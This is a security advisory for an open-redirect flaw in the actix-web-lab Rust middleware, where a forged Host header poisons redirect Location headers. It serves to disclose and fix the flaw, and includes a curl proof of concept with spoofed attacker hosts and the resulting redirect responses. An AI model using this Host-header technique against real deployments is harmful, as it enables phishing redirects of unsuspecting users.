GHSA-vhj5-x93p-67jw

Suggest an improvement
Source
https://github.com/advisories/GHSA-vhj5-x93p-67jw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-vhj5-x93p-67jw/GHSA-vhj5-x93p-67jw.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-vhj5-x93p-67jw
Downstream
CGA (2)
Published
2026-03-11T00:29:17Z
Modified
2026-09-10T03:50:41Z
Severity
  • 5.4 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N CVSS Calculator
Summary
actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects
Details

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

  1. actix-web-lab/src/redirect_to_https.rs (around lines 119-132)

    • let host = conn_info.host();
    • format!("https://{hostname}{path}")
    • format!("https://{hostname}:{port}{path}")
  2. actix-web-lab/src/redirect_to_www.rs (around lines 30-35)

    • format!("{scheme}://www.{host}{path}")
  3. actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)

    • format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

  • Local minimal Actix apps using actix-web-lab middleware
  • RedirectHttps: http://127.0.0.1:18080
  • redirect_to_www: http://127.0.0.1:18081
  • redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Database specific
{
    "cwe_ids":  [
        "CWE-601"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-03-11T00:29:17Z",
    "nvd_published_at":  null,
    "severity":  "MODERATE"
}
References

Affected packages

crates.io / actix-web-lab

Package

Name
actix-web-lab
View open source insights on deps.dev
Purl
pkg:cargo/actix-web-lab

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.26.0

Database specific

last_known_affected_version_range
"<= 0.25.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-vhj5-x93p-67jw/GHSA-vhj5-x93p-67jw.json"